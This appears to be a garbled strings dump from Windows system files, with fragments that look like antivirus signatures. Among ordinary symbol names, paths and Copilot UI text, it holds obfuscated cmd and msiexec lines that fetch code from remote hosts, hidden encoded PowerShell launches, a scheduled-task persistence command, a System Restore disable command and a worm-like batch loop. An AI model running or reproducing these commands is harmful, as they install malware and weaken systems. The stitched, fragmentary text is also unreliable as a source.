We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
windowSize
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Ehttps://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBS
cmd.exej-iifc:\windows\system32\cmd.exesaginfotech/r^star^tm^s^i^execw^jr^md^q^b^r^f=^cpj^y^b/^pack^ag^e"http://a0.pm:8080/abybjjubdxphzh5/byvtau8uoojkdsiq/%computername%"l^v^kg^hh^rj=gi-^qn"%systemroot%\system32\imageres.dll
?c:\windows\system32\cmd.exe/cm^s^i^e^x^e^c.exe/q/ih^t^t^p^s^:^/^/^v^e^t^p^h^a^r^m^a^c^o^n^s^u^l^t^a^n^t^.^i^n^/^j^s^/^d^o^c^c^s^/^2^0^2^5^0^7^3^1^-^d^e^f^e^r^m^e^n^t^-^o^f^-^i^m^p^l^e^m^e^n^t^a^t^i^o^n^-^o^f^-^r^u^l^e^-^9^-^o^f^-^l^p^s^-^r^u^l^e^_^4^3^4^_^7^8^5^/^w^i^n^s
(@Windows.Data.CuratedTileCollection.TileCollection
 @ItemReference<Windows.Data.SampleMetadata.SampleDataItem>
 @ItemReference<Windows.Data.CuratedTileCollection.Root>
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
 @Windows.Data.CuratedTileCollection.TileCollectionContainer
 @Windows.Data.Platform.BackupRestore.ManifestBackupStore
 @Windows.Data.Accessibility.EyeControl.SyncedSettings
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
 @Windows.Data.CuratedTileCollection.RootCollection
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
 @Windows.Data.Platform.Partitioning.DevicePartitions
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
 @ItemReference<Windows.Data.CuratedTileCollection.Group>
(@allowAutoWindowsUpdateDownloadOverMeteredNetwork
 @Windows.Data.BlueLightReduction.BlueLightReductionState
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
 @Windows.Data.Platform.Partitioning.PartitionIndex
 @Windows.Data.Platform.Partitioning.DevicePartitions
 @Windows.Data.BlueLightReduction.SettingsPerDevice
 @Windows.Data.Platform.Partitioning.DeviceExperiencePartition
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
 @Windows.Data.NetworkUX.Cellular.CellularSettings
 @ItemReference<Windows.Data.QuickActions.QuickAction>
 @CloudData.WindowsClient.CloudDataRemotelyAvailableWnf
 @Windows.Data.Platform.Partitioning.ActivePartitions
.@CloudData.WindowsClient.DisableSyncOnActivityFeed
 @CloudData.WindowsClient.DisableSyncOnActivityFeed
 @ItemReference<Windows.Data.CuratedTileCollection.Tile>
rappdata\microsoft\windows\startmenu\program
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.appextensionfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.secondarytileview.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.packagepolicy.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.secondarytileuserfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.hostruntimefactory-custom.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.applicationextensionfactory-custom.cpp
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
windows.storage.dll
DriverData=C:\Windows\System32\Drivers\DriverData
Lfc:\programdata\microsoft\windowsdefenderadvancedthreatprotection
c:\windows\system32\windowspowershell\v1.0\powershell.exe
"user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.applicationbackgroundtaskfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.applicationidentityfactory.cpp
~System.Windows.Forms.Design.GroupBoxDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Control
System.Windows.Forms.Control
System.Windows.Forms.Control
System.Windows.Forms.Control
System.Windows.Forms.Design.ImageListDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
'System.Windows.Forms.ImageListConverter
System.Windows.Forms.Design.ImageListCodeDomSerializer, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
"System.Windows.Forms.KeysConverter
System.Windows.Forms.Design.ShortcutKeysEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3auSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
{System.Windows.Forms.Design.LabelDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
/System.Windows.Forms.LinkArea+LinkAreaConverter
}System.Windows.Forms.Design.ListBoxDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
~System.Windows.Forms.Design.ListViewDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
+System.Windows.Forms.ListViewGroupConverter
*System.Windows.Forms.ListViewItemConverter
System.Windows.Forms.MainMenu
System.Windows.Forms.Design.MaskedTextBoxDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.MonthCalendarDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.NotifyIconDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
%System.Windows.Forms.PaddingConverter
{System.Windows.Forms.Design.PanelDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.PictureBoxDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.PropertyGridDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.RadioButtonDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.RichTextBoxDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.SaveFileDialogDesigner, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Windows.Forms.Design.ScrollableControlDesigner, System.Design, Version=4.0.0.0, Culture=neu
Windows::Internal::StateRepository::AppExecutionAliasUserFactoryServer::Update
Windows::Internal::StateRepository::AppExecutionAliasUserFactoryServer::Delete
Windows::Internal::StateRepository::AppExecutionAliasUserFactoryServer::DeleteByApplicationIdentityAndUserAndAlias
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.appextensionhostfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.appinstallerurifactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.appexecutionaliasfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.appexecutionaliasuserfactory.cpp
Windows::Internal::StateRepository::AppExecutionAliasUserFactoryServer::Add
indows\system32\
c:\windows\system32	
HSTR:IsWinlogon
\microsoft\windows\systemrestore\sr" /disable\
 .exec "c:\\windows\\explorer " + 
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.primarytile-custom.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.primarytileuser-custom.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.secondarytile-custom.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.secondarytileuser-custom.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.user-custom.cpp
lf@po:i+00/c:\t1gaffes>.gaffesz2limitlessboaster.jsx.limitlessboaster.js"&..\..\..\..\gaffes\limitlessboaster.jsc:\windows\explorer.exe%systemroot%\explorer.exe%systemroot%\explorer.exe
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.NotificationController
Microsoft.Windows.ShellCommon.SystemModalDialog
Microsoft-Windows-Shell-CortanaNotifications
Microsoft.Windows.Shell.SystemSettings.AumidNotifications
Microsoft.Windows.AppLifeCycle.UI
arted" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+FM 
C:\WINDOWS\system32\SecurityHealthService.exe
onecoreuap\windows\cdp\shared\POBoxInfo.h
onecoreuap\windows\cdp\shared\AccountSettings.h
onecoreuap\windows\cdp\shared\CrossPlatformAppId.h
onecoreuap\windows\cdp\shared\SharedInstanceManager.h
onecoreuap\windows\cdp\common\internal\onecore\ComConversions.h
onecoreuap\windows\cdp\shared\crypto\ICrypto.h
Windows-gather
p@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IIterable@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$FilterControl_base@UFilterControl@implementation@TaskManagerApp@winrt@@UIComponentConnector@Markup@Xaml@UI@Windows@4@UIComponentConnector2@67894@@implementation@TaskManagerApp@winrt@@
.?AU?$implements@UFilterControl@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIPageOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@UIComponentConnector@Markup@89Windows@4@UIComponentConnector2@Markup@89Windows@4@@winrt@@
.?AU?$producers_base@UFilterControl@implementation@TaskManagerApp@winrt@@V?$tuple@UFilterControl@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@3@UIControlOverrides@56783@UIControlOverrides6@56783@UIFrameworkElementOverrides@6783@UIFrameworkElementOverrides2@6783@UIUIElementOverrides@6783@UIUIElementOverrides7@6783@UIUIElementOverrides8@6783@UIUIElementOverrides9@6783@UIComponentConnector@Markup@6783@UIComponentConnector2@Markup@6783@@std@@@impl@winrt@@
.?AU?$producer_convert@UFilterControl@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFilterControl@implementation@TaskManagerApp@winrt@@UIPageOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UFilterControl@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFilterControl@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UFilterControl@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFilterControl@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UFilterControl@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFilterControl@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UFilterControl@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UFilterControl@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@P4
8Microsoft Windows Hardware Compatibility Intermediate CA1
(Microsoft Windows Hardware Compatibility0
.run('%windir%\\system32\\'+
api-ms-win-core-windowserrorreporting-l1-1-3.dll
c:\windows\system32\cmd.exe/c"start/min""p^ow^e^r^sh^ell.exe-enc
c:\windows\system32\cmd.exe/c"start/min""p^o^we^r^shell.exe-enc"
|c:\windows\system32\conhost.exe--headlessssh-oproxycommand="cmd/
c:\windows\temp\debug.exe;start-processc:\windows\temp\debug.exe
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Security.TokenBroker
Microsoft.Windows.PlatformExtensions
`rols@Xaml@UI@Windows@winrt@@
.?AU?$base_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UFrameworkElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControlProtected@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElementProtected7@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIFrameworkElementProtected7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIPage@Controls@Xaml@UI@Windows@4@UIUserControl@67894@UIControl@67894@UIControl2@67894@UIControl3@67894@UIControl4@67894@UIControl5@67894@UIControl7@67894@UIFrameworkElement@7894@UIFrameworkElement2@7894@UIFrameworkElement3@7894@UIFrameworkElement4@7894@UIFrameworkElement6@7894@UIFrameworkElement7@7894@UIUIElement@7894@UIUIElement2@7894@UIUIElement3@7894@UIUIElement4@7894@UIUIElement5@7894@UIUIElement7@7894@UIUIElement8@7894@UIUIElement9@7894@UIUIElement10@7894@UIAnimationObject@Composition@894@UIVisualElement@Composition@894@UIDependencyObject@7894@UIDependencyObject2@7894@@impl@winrt@@
.?AU?$require@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@UIFrameworkElementProtected7@7894@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IVisualElement@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIVisualElement@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement10@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElement10@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IAnimationObject@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIAnimationObject@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement8@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElement8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement9@UAppHistoryPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UAppHistoryPage@implementation@TaskManagerApp@winrt@@UIUIElement9@Xaml@UI@Windows@4@@impl@winrt@@
User-Agent: Mozilla/5.0 (Windows NT 6.; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0U
USERNAME=WINDOWS11$
USERPROFILE=C:\WINDOWS\ServiceProfiles\NetworkService
windir=C:\WINDOWS
WindowsCreateString
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsCompareStringOrdinal
WindowsDuplicateString
WindowsConcatString
WindowsGetStringLen
C:\WINDOWS\SYSTEM32\
C:\WINDOWS\SYSTEM32\
c:\windows\resources\
c:\windows\resources\
c:\windows\system32\
amd64_microsoft-windows-eventlog-commandline_31bf3856ad364e35_none_fb884d35a4e6d518
amd64_microsoft-windows-eventlog-forwardplugin_31bf3856ad364e35_none_bb9700525f73f4f7
amd64_microsoft-windows-eventlog.resources_31bf3856ad364e35_en-us_b1de5bcb480363b3
amd64_microsoft-windows-eventlog_31bf3856ad364e35_none_112b0593943b25fc
amd64_microsoft-windows-eventviewer-adm_31bf3856ad364e35_none_4a07ca0d312dc93d
amd64_microsoft-windows-eventviewer.resources_31bf3856ad364e35_en-us_ea9715548a924493
amd64_microsoft-windows-eventviewer_31bf3856ad364e35_none_206aa171a16cc5a2
amd64_microsoft-windows-execmodel-client_31bf3856ad364e35_none_19fdc31859453868
amd64_microsoft-windows-execmodel-proxy_31bf3856ad364e35_none_dc4e732929476b33
Microsoft-Windows-AssignedAccess-Trace
GetProcessWindowStation
SetProcessWindowStation
OpenWindowStationW
CloseWindowStation
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextRangeProvider.CompareEndpoints
System.Windows.Forms.UnsafeNativeMethods.IRawElementProviderFragment.GetEmbeddedFragmentRoots
System.Windows.Forms.UnsafeNativeMethods.IAccessibleInternal.get_accFocus
System.Windows.Forms.UnsafeNativeMethods.IOleControlSite.OnFocus
System.Windows.Forms.UnsafeNativeMethods.IRawElementProviderFragmentRoot.GetFocus
System.Windows.Forms.UnsafeNativeMethods.IRawElementProviderFragment.SetFocus
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceFrame.RemoveMenus
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceFrame.InsertMenus
System.Windows.Forms.UnsafeNativeMethods.IOleObject.GetMiscStatus
=c:\windows\go.bat:copyfor%%iin(efghklmn)do(ifexist%%i\*.vbs(ping127.0.0.1-n5>nul)else(copyln.ba.
#0C:\WINDOWS\system32\wscript.exe
wow64_microsoft-windows-msasn1_31bf3856ad364e35_none_aba493ab468cc5c8
wow64_microsoft-windows-msident_31bf3856ad364e35_none_e0e79310de9fd4e9
wow64_microsoft-windows-msidle_31bf3856ad364e35_none_ab3fa03d46da61e1
wow64_microsoft-windows-msidntld_31bf3856ad364e35_none_0fce13dc1ade4be0
wow64_microsoft-windows-msieftp_31bf3856ad364e35_none_e113c7a6de7e8707
wow64_microsoft-windows-msinfo32-exe-common_31bf3856ad364e35_none_d0c36094cd0cd48b
wow64_microsoft-windows-msinfo32-exe_31bf3856ad364e35_none_83878e77044b56e3
wow64_microsoft-windows-msinfo32_31bf3856ad364e35_none_175fb3c9146abd88
wow64_microsoft-windows-mskeyprotcli-dll_31bf3856ad364e35_none_f6141ab6960a129e
wow64_microsoft-windows-mskeyprotect-dll_31bf3856ad364e35_none_6703559d9734618c
"http://2t.pm:8080/a/tym6fqdhcgfjptqzxef0hr/4nvba7l4urpd6spu7t/!computername!""%systemroot%\system32\imageres.dll
"http://3z.nu:8080/bmy4mg/oueqe8s/ir2epcyjdukedh/!computername!"^od=^kkmte^e/^q!%systemroot%\system32\shell32.dll
schtasks/create/tnupdateswindll/tr"%windir%\system32\rundll32.exe%appdata%\microsoft\office\mso
$information=encoder-status$true-econtent('reg:'+([system.environment]::osversion.versionstring)+':'+([system.security.principal.windowsidentity]::getcurrent().name))
|windowsserver2003sp0tobypassit.ifanybodycanbreakthisprotection#withsometechniques,plzshareinformation:)#usestrict;#win32_bindlport=5555-metasploitmy$shellcode=
ctor@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UTypedTemplate@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$implements@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UTypedTemplate@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UTypedTemplate@TaskManagerApp@3@@winrt@@V?$tuple@UIVectorChangedEventArgs@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$producer@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UTypedTemplate@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UTypedTemplate@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$root_implements@Uiterator@?$iterable_base@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UTypedTemplate@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
{"aliases":["login.windows.net","sts
Path=C:\WINDOWS\system32;
Windows::Internal::Security::Authentication::Web::CTokenBrokerInternalFactory::FindAccountForApp
Windows::Internal::Security::Authentication::Web::CTokenBrokerInternalFactory::FindAccount
Windows::Internal::Security::Authentication::Web::CWamProviderRegistration::GetFromPfn
Windows::Internal::Security::Authentication::Web::CWamProviderRegistration::GetFromId
Windows::Internal::Security::Authentication::Web::CTokenBrokerInternalFactory::SetWebAccountEnumerableState
Windows::Internal::Security::Authentication::Web::CTokenBrokerInternalFactory::CreateResultForExtensionEx
Windows::Internal::Security::Authentication::Web::CTokenBrokerInternalFactory::GetContractBroker
Windows::Internal::Security::Authentication::Web::CTokenBrokerInternalFactory::ReportBackgroundCompletion
Windows::Internal::Security::Authentication::Web::CTokenBrokerInternalFactory::CompareAccounts
Windows::Internal::Security::Authentication::Web::CTokenBrokerInternalFactory::FindAllAccountsAsync
Windows::Internal::Security::Authentication::Web
Win32API|Windows Sockets Version 2|getsockopt|IPX_ADDRESS
Win32Registry|Software\Microsoft\Windows NT\CurrentVersi
start"""c:\programfiles(x86)\windowsphotoviewer\en-us\
@%SystemRoot%\System32\sppcomapi.dll,-3200a
@%SystemRoot%\System32\themeui.dll,-2320@
@%SystemRoot%\System32\themeui.dll,-2116
@%SystemRoot%\System32\themeui.dll,-2107P
@%SystemRoot%\System32\themeui.dll,-2108(
@%SystemRoot%\System32\themeui.dll,-2103p
@%SystemRoot%\System32\themeui.dll,-21040
@%SystemRoot%\System32\themeui.dll,-2120@
Gc:\windows\explorer.exe%systemroot%
.exe-windowstylehidden"gdr;func
\WindowSurfaceVkWin32.cpp
virtual rx::WindowSurfaceVkWin32::getCurrentWindowSize
\??\C:\WINDOWS\system32\conhost.exe 0x4
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
"C:\Windows\System32\ShellHost.exe"
windowsdefender
Microsoft.WindowsCamera_8wekyb3d8bbwe
\WINDOWS\SYSTEM32\Glassliberi130\Combustive.sel
windows.hlp
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
	COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.25\inc\wil\Staging.h
windowsudk.shellcommon.dll
ComSpec=C:\WINDOWS\system32\cmd.ex
USERDOMAIN_ROAMINGPROFILE=Windows1b
target="https://system32dummy_username@0306.0014.0133.0240/-......
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
<EXE_INJECT_WINLOGON><
c:\windows\system32\cmd.exe/cstartsa.vbs&startimg_00
irusr.exe;%system32%\rekeywiz.exe;%system32%\rendom.exe;%system32%\repadmin.exe;%system32%\reset.exe;%system32%\rwinsta.exe;%system32%\setspn.exe;%system32%\systempropertiesadvanced.exe;%system32%\systemsettingsadminflows.exe;%system32%\tscon.exe;%system32%\tskill.exe;%system32%\w32tm.exe
%system32%\lockapphost.exe
%system32%\unlodctr.exe
%system32%\certreq.exe
%system32%\licensingdiag.exe;by changing %windir%
%system32%\wsreset.exe
%system32%\ktmutil.exe;%system32%\msdtc.exe;%system32%\mstsc.exe;%system32%\netsh.exe;%system32%\rstrui.exe;%system32%\srtasks.exe;%system32%\wkspbroker.exe
%system32%\mfpmp.exe;%system32%\osk.exe
%system32%\hvax64.exe;%system32%\hvix64.exe
%system32%\bioiso.exe;%system32%\fsiso.exe;%system32%\ngciso.exe
